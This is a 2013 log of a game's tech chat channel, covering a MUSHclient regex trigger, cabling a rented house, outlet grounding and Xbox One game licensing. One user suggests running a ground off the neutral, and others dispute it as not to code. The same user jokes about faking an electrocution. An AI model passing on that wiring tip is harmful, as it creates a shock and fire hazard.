T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: what's the AIDS test ?
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Ontuct Tech: Thats how you trace fiber... light it with a laser and look into the bundle
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: i looked at sulfur manganese once and i didnt go blind
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: or whatever that shit is, it was bright as fuck
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Tech: no, you trace fiber by lighting it with a laser and having a receiver "look" into the bundle
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Scars Tech: for the record, this isn't a curse channel :P
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: sorry i'm a pirate
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Hanslanda Tech: hold your hand up, palm to face.  When you do, the person telling you to do so then smacks your hand.
T3/r7/2013-05-22.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: lol thats a classic
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Tech: Flak boggles at Hanslanda.
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: thats gotta hurt your nose
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Scars Tech: sort of the idea
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Ontuct Tech: hey hanslanda hold your hand up to your face palm facing your nose
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: i dont get why its called the AIDS test
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Hanslanda Tech: AIDS is a serious issue meant to grab the victim's attention so they're more likely to fall victim to the prank.
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: ahhhh ha
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: AIDS is serious business for sure
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: this girl told me she had AIDS after we slept together and then she said she was just joking
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: what kind of person does that
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Tech: it's called the AIDS test because that's how you get the person to do it..."Hey, did you hear that they discovered a new test for AIDS that you can do yourself"
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: hahaha
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: i wish i could do that to somebody without them getting mad enough to hit me back
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: i dont like getting hit
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Hanslanda Tech: it works with any serious issue.  I've had someone attempt it on me as a means of determining if I'm a terrorist or not.
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: fbi interrogators should do it :p
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Hanslanda Tech: and growing up before AIDS exploded, it was a means to determine your retardedness.
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: is there a channel history feature on here?
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: ah -h
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: keep missing stuff while running
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: some people are just trusting
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: call them gullible if you like, but perhaps the believe that others are good-natured and not out to mess with them
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: 'they
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: of course once you put on the years you realize that pretty much everybody is evil as hell
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Ayasinda Tech: id there an easy way to import an outlook.pst file on one computer into linux Kmail on another computer?
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Elkore Tech: in mushclient is there a way to temporary disable all plugins quickly?
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: alt+enter -> scriptts -> enable scripting
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Elkore Tech: i dont think that disables plugins, just scripts
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: The plugin's aren't allowed to execute when scripting's disabled per mush's sandboxign
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: sandboxing*
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Elkore Tech: fair enough but it didnt help with the problem im trying to fix
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: How about you tell me the problem, maybe I can help ;)
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Elkore Tech: i have a trigger that fires when i see Exits:
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Elkore Tech: its a bit more complicated that that, but thats an easy test
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Elkore Tech: its fine when i walk into a room with no notes
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Elkore Tech: but when i walk into a room with a note it doesnt trigger
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Ahh
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Custom exits are breaking it, methinks
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: When there's a cexit in room, the exit's string changes
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Theres no longer just east/west/etc, but a literal * symbol.
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Elkore Tech: if you set the Exit trigger you will notice that it usually fires twice, one is the room exits and i think the other is the ascii map
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: You can turn the ascii map exit flags off, iirc
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Elkore Tech: but walk into a room with a note and you only see one trigger event
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: i think it's tags mapexits or something
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: So, it's reading the one for the room which has "other" for other exits, the ASCII map one has * instead. I can almost guarantee that's what's breaking it
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Elkore Tech: if i do that then the plugin drawing the ascii map no longer displays exits
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Show me your exact trigger string
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Elkore Tech: heh will try
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Just the matching part, I don't care about the send.
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Elkore Tech: well for now its a regexp looking for "xi"
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Elkore Tech: wait let me use the gui to see what its doing
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: What it /should/ be looking for is "^\[ Exits\: (.*?)\]$"
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Elkore Tech: im using a very simple example, my real trigger is "\\[ Exits\\: [a-z() ]*\\]$"
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Yu
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Yup, and that's why it's broken
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Use mine
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: and just one \ to escape, not two
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Elkore Tech: its the same
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Did you replace/remove your old one, or is it still firing also? :P
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Elkore Tech: i replaced my xi trigger with what you typed
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Is your trigger sending to script, or to world?
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Elkore Tech: sends to a script that executes Note("*** exits!")
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Ok, so you do have a console-like log in there, that's what I was going to have you add :P
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Elkore Tech: console like log?
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: not important
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: And you're not doing anything else that could be failing before your Note() call, right?
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Elkore Tech: if it fails i should see it in red right?
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: not necessarily
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Elkore Tech: then i dont know :)
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Put the Note() at the very top so there's nothing before it to fail :P
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Elkore Tech: ahh yes its at the very top
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Elkore Tech: what do you think is being output when i walk into a room with a note?
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: And you're trigger string is /EXACTLY/ "^\[ Exits\: (.*?)\]$"?
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: without the surrounding quotes and with regexp enabled.
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Elkore Tech: i put double slashes, will it work with single?
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I already told you, have to use single to escape :P
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Double would make it look for a literal \ in the match string
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Elkore Tech: i usually define in lua script where i have to use double, in gui it appears as single
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: because you're up one level of execution
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Elkore Tech: so yes, its exactly what you typed in the gui
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: So you've lost a layer of parsing
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: You didn't include the "'s did you?
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: And just to be sure, the 'regexp' box in the GUI is checked, yes?
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Elkore Tech: this is cut and paste from trigger line: ^\[ Exits\: (.*?)\]$
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Elkore Tech: yes, regexp is on
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Elkore Tech: works fine when i walk into room without note, does not work when walk into room with note
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: fairly certain is nto the Note affecting it. It's how custom exits are displayed differently
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: put a space after the ) and before the \]
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Elkore Tech: its the same
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Hmm, well as much as I wish I could help further, I gotta get my butt into a meeting :P
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Elkore Tech: k thanks
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: If you're still having trouble in an hour, hit me up
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Doc Holliday Tech: anyone have credentials for directechs.com?
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Vonliege Tech: for "mapper", the command 'mapper help portals' displays a few lines of information to the right of 'mapper portallevel <ind> <lvl>'...  I was curious how mapper handles tiers.  Is the default to automatically account for tiers?
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Ayasinda Tech: anyone know a good (and easy) way to import mails and contacts from microsoft outlook into liny Kmail?
T3/r7/2013-05-23.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: how wil i connect to testport but keep all my windows and stuff?
T3/r7/2013-05-23.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Open a new world with the connection settings in the tester help file, help new tester?
T3/r7/2013-05-23.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Depends on your client I guess, what I said will work in Mushclient.
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Teklor Tech: anyone know how to make it so i don't see {chan ch=gtell} or similar in front of stuff i group tell etc
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: anyone work for centurylink as an install tech and know how much cable i can get from them?
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Protip: Make them put the box as far from the fiber port as possible :P
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I had them install in a closet so i'd have all kinds of leftover wiring :P
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: but that was time warner, not centurylink. But they'll still do it i'd reckon.
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: nice. i am just wondering if i can have them put the demarc in one location but then run some cable to a second location
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: <-- doesn't have a drill
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I put mine under the edge of the carpet and ran it along the hall.
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: new house with all hardwood floors
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: 150ft was plenty for my tiny little apartment :P
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Vonliege Tech: I ran cable from the neighbors... I have my own drill
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: old house so the hardwood floors are nice and super thick
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Vonliege Tech: I though they'd NEVER all be out of the house at the same time!
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: there are the insanely large ventilation grates though
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Don't most hardwood floors (at least new ones) have wiring routes cut into them already?
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: lol
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: man i still have to figure out what i am going to to about the 2 prong outlets
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Scars Tech: i don't know that i would want to run my cabling through ventilation...
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: i wouldn't.
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Scars Tech: do you own the home?
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: get to run some power wires i guess
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Vonliege Tech: run a ground off the neutral
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: no i don't own it and that is the shitty part
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Scars Tech: yeah, i wouldn't do any meaningful improvements without owning it
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: would rather not have all my electronics hooked up to things that aren't grounded
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Scars Tech: perhaps you could get the owner involved and run some connections in the house
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Vonliege Tech: run a ground off the neutral, and just replace all the two prong outlets (or at least the ones you want ground on) with three prong (89 cents at Lowes)
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Scars Tech: i don't know that it's that simple
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: that isn't to code and if you mess with the outlet you have to make it to code
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Vonliege Tech: but if you rent... hold the landlord to it... cite a city ordinace or something
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Tech: Scars points excitedly at Vonliege!
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Scars Tech: i'd do that
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: it is grandfathered since it is pre 1960
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: not sure that applies to electical compliance..
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Vonliege Tech: I bet if you claimed you were electrocuted (complete with trip in ambulance) he'd have to fix it
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Teklor Tech: yeah 2 prong outlets were out like 10 or 15 years ago....they are a fire hazard
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: A risk of fire doesn't go down because the house is old :P
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Scars Tech: perhaps get a quote from an electrician as to how much it would cost to fix and then pass it on the landlord and see if they'll take care of it
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Scars Tech: this isn'
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Scars Tech: this isn't a trivial improvement to the electrical situation in the house, it's worthwhile imo
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Vonliege Tech: this IS in the US, correct?
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: well in MN they are grandfathered
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: centeurylink is only US, von :P
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Scars Tech: grandfathered only means that they aren't required to go through and change everything once code made it illegal
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Vonliege Tech: as many liberals as there are in MN... you should be able to find a sympathetic ear
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Scars Tech: although a change in tennents may override that
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Tech: Helperful Cheezburger nods at Scars.
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Filippa Tech: Teklor, check 'help tags'
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Scars Tech: the idea is that a private owner shouldn't become a civil criminal due to a code change
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Scars Tech: although, to sell the house, you may be required to bring it up to code
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: well i would assume that state person that approved the dwelling for rental would also have to have approved the outlets
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: If you make a formal complaint/request to the land lord, with serious concerns, he'll most likely at least do /something/.
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Vonliege Tech: ya... I got to go with "not being a criminal"....
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Vonliege Tech: you COULD manually ground your stuff, though... use the three pring to two prong converter, and actually wire it to a ground.
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Scars Tech: the path of least resistance is this, imo... Get a quote from an electrician.  Pass quote on to owner with a request to either pay for all or most or part of it.
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Vonliege Tech: that's legal
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: see i was actually thinking about that part
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Scars Tech: i wouldn't do any meaningful electrical work on my own, but i'd rather shell out $ to hold someone else accountable for screwing it up
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: that was my reasoning behind hiring movers
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: god was it worth it
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: yea i don't own the house. and some outlets are grounded but not all. back to the original idea here. i want to get as much out of my $45 (or how ever much it cost) install fee from centurylink
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Scars Tech: see if they'll install connections in rooms and not just a modem
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i want extra cable, rj-45's, lineman set, anything
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: nod that is what i am hoping
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Scars Tech: if you get connections installed in rooms, the need for additional cable is surely reduced
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Scars Tech: i have no clue if you'll get it
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Scars Tech: frankly, with wireless the way it is... why?
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Scars Tech: could just throw up a wireless repeater if the signal deteriorates too much
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: a bunch of my computers don't have wifi
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Scars Tech: i bought a linksys wireless network card that connects via usb for pretty cheap years back
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Scars Tech: surely you could get it still?
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Scars Tech: i'm just suggesting alternatives, btw, i think your currect approach is a good plan a
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: sure i could but i like me some copper cabling in my house
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i like to see my layer 1
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Tech: Scars nods.
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Scars Tech: yeah, i used to be that way
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: plus i have this 40port procurve switch to learn how to use
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Scars Tech: then i moved 5 times in 3 years and decided that was a lot of work and gave up on it
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: if i moved 5 times in 3 years i might consider living too much work
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Scars Tech: yeah, it wasn't the most fun
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: just long enough to actually unpack each time
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Scars Tech: unpacking only takes about a week
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Scars Tech: irrelevant though... when i get myself a situation where i'm more stable in my living situation, i'll probably put out the effort to truly wire the house
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Tech: heh, you'd also do well to get one of those cheap things to plug into an outlet that checks the outlet...3-prong outlet doesn't necessarily mean it's grounded...
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: that is a very good point
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Tech: Scars nods at you in agreement. 
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Scars Tech: good call
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: a lot of them are GFI outlets and i assume those aren't grounded
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Tech: in a house with both 2 and 3 prong outlets, it means that the core wiring was done as a 2-prong, and later they added or replaced outlets...you can pretty much only get 3-prong now, so the OUTLET is 3-prong, but who knows what it was grounded to
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: nod. there was sets of 3 wire cables coming to the fuse box
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: so at least a few of them are grounded
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: hmm _should_ be grounded
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Vonliege Tech: for Mapper portals... is the default setting to auto-adjust for Tier?
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Doc Holliday Tech: yes
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Vonliege Tech: TY
T3/r7/2013-05-23.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: so I had to install a new motherboard and reinstall windows 7 to go along with it. whenever I go to sleep and get up, or leave for work and come home my computer is turned off when I arrive. fans not spinning etc. have to press the power button to get it to turn on, but when I do it instantly goes to my desktop. all my programs/windows are still open. any ideas on whats going on?
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Tigernuts Tech: power management
T3/r7/2013-05-23.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: hibernating?
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Tigernuts Tech: going into sleep mode
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Purrrrific Growltiger Tech: it's hibernating
T3/r7/2013-05-23.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: and that disables the cpu/video card fans?
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Purrrrific Growltiger Tech: Yep
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Sonshi Tech: I think the fans usually turn off when the temperature is low enough... and in sleep mode very little heat is generated.
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Vonliege Tech: anyone know of a simple way to bring right click capability to the output window in aardmush?  such that I could right click on a player name and select a menu item to automatically open up a note addressed to him? (this is a standard zMud feature)
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: so xbox one, what's the deal w/ used games?
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: how are they going to implment re-selling digital licenses?
T3/r7/2013-05-23.txt.gz:{chan ch=tech}DA Monster Tryllus Tech: they don't
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Vonliege Tech: games have to be registered, and internt is required to validate each time you run them.
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: all games are digital licenses now, though
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: they said players can still trade-in/re-sell though.  how does that happen w/ a digital right?
T3/r7/2013-05-23.txt.gz:{chan ch=tech}DA Monster Tryllus Tech: if you buy the game from someone beside the store/used store its worthless
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: like i said, they confirmed ability to tade-in/resell, so how is that going to happen?
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: even suggested ability to do that at a retail presence like gamestop
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Vonliege Tech: the implicatoin is that shops like gamestop will "re-issue" the licence... but less than 10% of their shops are set up for it, and mom-'n-pop shops are completly shut out
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Nuanse Tech: resell key that seller gets from net and allows buyer to use key to gain ownership for the game.
T3/r7/2013-05-23.txt.gz:{chan ch=tech}DA Monster Tryllus Tech: the store can put new license number from company
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Book of Etzli Tech: Probably something like a digital license will be reissued, maybe the original one decomissioned.
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Deadpeasant Tech: whats stopping anyone from doing that?
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Book of Etzli Tech: It's a ridiculous move to combat piracy.
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Vonliege Tech: there are also no provisions for replacing the hardware code on a game... so once it's register to a box, it can't be moved.. even if you get a new box
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: i'm wondering if it's all going to be through xbox store where msft and publishers set the credit/price for surrendering the license or if they will partner w/ GME which has chokehold on US used game mkt
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: but von just links to XBL account
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: so whoever has the account can log in on any box and play with the disc, or wait for the DL 
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Vonliege Tech: the xbox one assosiated the hardware code of the box (like a MAC address) to the game
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Vonliege Tech: then again... I'm getting all my info from sony sites... so who really know... anyone have one yet?
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Book of Etzli Tech: ... XBox One isn't out yet.
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Vonliege Tech: someone has one
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: i think they associate the game to the account, and associate the account to a home box so that other accounts associated to the home box can also play the same game (handles families.. multiple users on same box), but portability is keyed to your account so you can play anywhere
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Book of Etzli Tech: I think I read somewhere that Sony is cutting ahead and presenting the PS4 first.
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: etzli is behind :)
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: They did the reveal just this past couple of days... only people with an xbox One right now are devs, and they didn't get the boxed model, only a barebones devkit
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Tech: Book of Etzli is also in school and studies most of the time so has no need to worry about anything.
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: but the mystery to me is how they are going to invent a digital license re-sale market...
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: if it's a pship with GME that stock is going to double
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Vonliege Tech: well lord knows XBox has been lagging... and what the hell is up with Nintendo?  have they completly abandoned the 12 to 90 gage demographic in favor of the seseame street crowd?
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I think the market is as perfect as Gaben could have asked for from Santa
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Vonliege Tech: without a closely competitive market, inovation and development will tank.
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Microsoft's current business model is corporate-wide integration a la Apple. Which is why Windows 8 looks like it does, and why the new xbox looks more like a WMC box than a gaming console
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: i can imagine a world where xbox one gamer can surrender his license to xbl store for credit, but who sets the credit amount?  How does publisher 1 get paid if the credit comes from surrending publisher 2's game?
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: They want their computers, consoles, phones, tablets, everything looking and feeling identical, so they can get MS-bois like there are Apple-bois now
